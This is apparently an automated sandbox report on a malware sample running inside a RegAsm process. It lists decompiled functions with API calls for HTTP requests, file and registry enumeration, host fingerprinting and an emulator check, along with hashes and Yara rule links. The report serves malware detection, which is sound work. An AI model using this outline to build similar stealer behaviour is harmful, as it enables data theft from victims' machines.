FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 004178A0 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,0141AF28,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,01422DD8,00000000,00000000,000000FF,000000FF), ref: 0041791F

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0141AB80,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,0141AB80,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,01424A38), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,01423F78,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414D53
ERROR, xrefs: 00414CFA

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,0141AD10), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ce47f33bf402caccc6be46475f4cc83737c81dc5a568e004177fa1e081ddb6a0
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: ce47f33bf402caccc6be46475f4cc83737c81dc5a568e004177fa1e081ddb6a0
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,01422E18), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,01424BB8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 153043497-3392445751
Opcode ID: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6CB43060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CB43095

Part of subcall function 6CB435A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CBCF688,00001000), ref: 6CB435D5
Part of subcall function 6CB435A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB435E0
Part of subcall function 6CB435A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CB435FD
Part of subcall function 6CB435A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB4363F
Part of subcall function 6CB435A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB4369F
Part of subcall function 6CB435A0: __aulldiv.LIBCMT ref: 6CB436E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB4309F

Part of subcall function 6CB65B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB656EE,?,00000001), ref: 6CB65B85
Part of subcall function 6CB65B50: EnterCriticalSection.KERNEL32(6CBCF688,?,?,?,6CB656EE,?,00000001), ref: 6CB65B90
Part of subcall function 6CB65B50: LeaveCriticalSection.KERNEL32(6CBCF688,?,?,?,6CB656EE,?,00000001), ref: 6CB65BD8
Part of subcall function 6CB65B50: GetTickCount64.KERNEL32 ref: 6CB65BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CB430BE

Part of subcall function 6CB430F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CB43127
Part of subcall function 6CB430F0: __aulldiv.LIBCMT ref: 6CB43140

Part of subcall function 6CB7AB2A: __onexit.LIBCMT ref: 6CB7AB30

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: d5d374ab9e72917418edb49de1b071acddbd370f3e8cb01f05118f154e6e4f0d
Instruction ID: ba0cba664ac399bb9fec1a5f81f9bbe866d07b79deabbbeb0ae1dbf7ed3e89aa
Opcode Fuzzy Hash: d5d374ab9e72917418edb49de1b071acddbd370f3e8cb01f05118f154e6e4f0d
Instruction Fuzzy Hash: E8F0F912D2478497CB10DF7488415EA7774AF6F114F105329E89467751FB20A3D8C3D1

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
